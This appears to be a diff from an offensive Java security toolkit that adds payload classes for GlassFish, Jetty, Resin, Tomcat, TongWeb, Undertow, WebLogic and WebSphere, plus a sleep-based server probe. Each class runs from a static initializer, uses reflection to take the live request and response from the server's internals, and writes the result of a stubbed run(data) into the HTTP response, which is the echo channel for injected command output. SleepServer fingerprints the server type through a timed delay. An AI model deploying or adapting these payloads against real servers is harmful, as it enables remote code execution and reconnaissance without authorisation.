Object request = getFieldValue(servletInvocation, "request");
Object response = getFieldValue(servletInvocation, "response");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,119 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Set;
/**
* @author ReaJason
* @since 2025/8/9
*/
public class GlassFishWriter {
static {
new GlassFishWriter();
}
public GlassFishWriter() {
try {
try {
// GlassFish3
Thread thread = Thread.currentThread();
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
}
} catch (Exception x) {
// GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker");
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue;
}
Set<?> keys = (Set<?>) getFieldValue(getFieldValue(blocker, "this$0"), "keys");
for (Object key : keys) {
Object connection = getFieldValue(key, "attachment");
if (!connection.getClass().getName().contains("Connection")) {
continue;
}
Object attributes = getFieldValue(connection, "attributes");
Object coyoteRequest = invokeMethod(attributes, "getAttribute", new Class[]{String.class}, new Object[]{"HttpServerFilter.Request"});
if (coyoteRequest == null) {
continue;
}
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
return;
}
}
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private void execute(Object response, String data) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,111 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/8/5
*/
public class JettyWriter {
static {
new JettyWriter();
}
public JettyWriter() {
try {
Thread thread = Thread.currentThread();
System.out.println(thread);
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry == null) {
continue;
}
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
Object response;
Object request;
try {
Object httpChannel = invokeMethod(value, "getHttpChannel", null, null);
response = invokeMethod(httpChannel, "getResponse", null, null);
request = invokeMethod(httpChannel, "getRequest", null, null);
} catch (Exception e) {
response = invokeMethod(value, "getResponse", null, null);
request = invokeMethod(value, "getRequest", null, null);
}
if (request == null) {
continue;
}
// 在 Jetty12 ee8 ~ ee10 环境下
// request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest
// 非 ServletRequest 实现,考虑到场景可能比较少,适配代码较多,因此下面暂未适配
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Throwable {
return null;
}
private String run(String data) throws Throwable {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,83 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/8/8
*/
public class ResinWriter {
static {
new ResinWriter();
}
public ResinWriter() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
Object response = getFieldValue(request, "_response");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
invokeMethod(response, "close", null, null);
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,130 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
public class TomcatWriter {
static {
new TomcatWriter();
}
public TomcatWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21
target = getFieldValue(getFieldValue(thread, "holder"), "task");
}
if (target == null) {
continue;
}
Object requestGroupInfo = null;
// Tomcat6 http-8080-Acceptor-0 <-> org.apache.tomcat.util.net.JIoEndpoint$Acceptor
// Tomcat7 http-apr-8080-Poller <-> org.apache.tomcat.util.net.AprEndpoint$Poller
// Tomcat8 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat9 http-nio-8080-ClientPoller-0 <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat10 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
// Tomcat11 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
String threadName = thread.getName();
if ((threadName.contains("Poller") || threadName.contains("Acceptor"))
&& !threadName.contains("ajp")
) {
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) {
continue;
}
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
try {
Object toRun = getFieldValue(target, "toRun");
if (toRun != null) {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(toRun, "endpoint"), "handler"), "global");
}
} catch (NoSuchFieldException e) {
continue;
}
}
if (requestGroupInfo == null) {
continue;
}
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
// org.apache.coyote.Request
Object coyoteRequest = getFieldValue(processor, "req");
// org.apache.catalina.connector.Request
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
// org.apache.catalina.connector.Response
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
public class TongWebWriter {
static {
new TongWebWriter();
}
public TongWebWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object poller = getFieldValue(thread, "target");
if (poller == null) {
continue;
}
String threadName = thread.getName();
if (threadName.contains("Poller") // TongWeb6
|| threadName.contains("Acceptor") // TongWeb7
) {
try {
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
Object coyoteRequest = getFieldValue(processor, "req");
if (tryWriteRes(coyoteRequest)) {
return;
}
}
} catch (Exception x) {
// TongWeb 8
if (threadName.contains("Poller")) {
Set<?> keys = (Set<?>) getFieldValue(getFieldValue(poller, "selector"), "keys");
if (keys == null) {
continue;
}
for (Object key : keys) {
try {
Object coyoteRequest = getFieldValue(getFieldValue(getFieldValue(key, "attachment"), "currentProcessor"), "request");
if (tryWriteRes(coyoteRequest)) {
return;
}
} catch (Exception ignored) {
}
}
}
}
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private boolean tryWriteRes(Object coyoteRequest) throws Exception {
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return true;
}
return false;
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,93 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/8/8
*/
public class UndertowWriter {
static {
new UndertowWriter();
}
public UndertowWriter() {
try {
Thread thread = Thread.currentThread();
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry == null) {
continue;
}
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().contains("ServletRequestContext")) {
Object request = getFieldValue(value, "servletRequest");
Object response = getFieldValue(value, "servletResponse");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,100 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/8/10
*/
public class WebLogicWriter {
static {
new WebLogicWriter();
}
public WebLogicWriter() {
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
Object response = null;
try {
// weblogic.servlet.internal.HttpConnectionHandler
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
// weblogic.servlet.internal.ServletRequestImpl
request = getFieldValue(connectionHandler, "request");
// weblogic.servlet.internal.ServletResponseImpl
response = getFieldValue(connectionHandler, "response");
} catch (Exception x) {
// WebLogic 10.3.6
// weblogic.servlet.internal.ServletRequestImpl
request = workEntry;
response = invokeMethod(workEntry, "getResponse", null, null);
}
if (request == null) {
return;
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
// 防止重复写响应,提前触发 send 操作
invokeMethod(response, "send", null, null);
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,95 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* WAS7 暂未适配
*
* @author ReaJason
* @since 2025/8/10
*/
public class WebSphereWriter {
static {
new WebSphereWriter();
}
public WebSphereWriter() {
try {
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
if (wsThreadLocal == null) {
continue;
}
// com.ibm.wsspi.webcontainer.WebContainerRequestState
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
// com.ibm.ws.webcontainer.srt.SRTServletRequest
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
// com.ibm.ws.webcontainer.srt.SRTServletResponse
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
}
writer.flush();
writer.close();
return;
}
break;
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.probe.payload.sleep;
/**
* @author ReaJason
* @since 2025/7/31
*/
public class SleepServer {
private static String server;
private static int seconds;
public SleepServer() {
try {
if (server.equals(getServer())) {
Thread.sleep(1000L * seconds);
}
} catch (Throwable ignored) {
}
}
private String getServer() {
return null;
}
}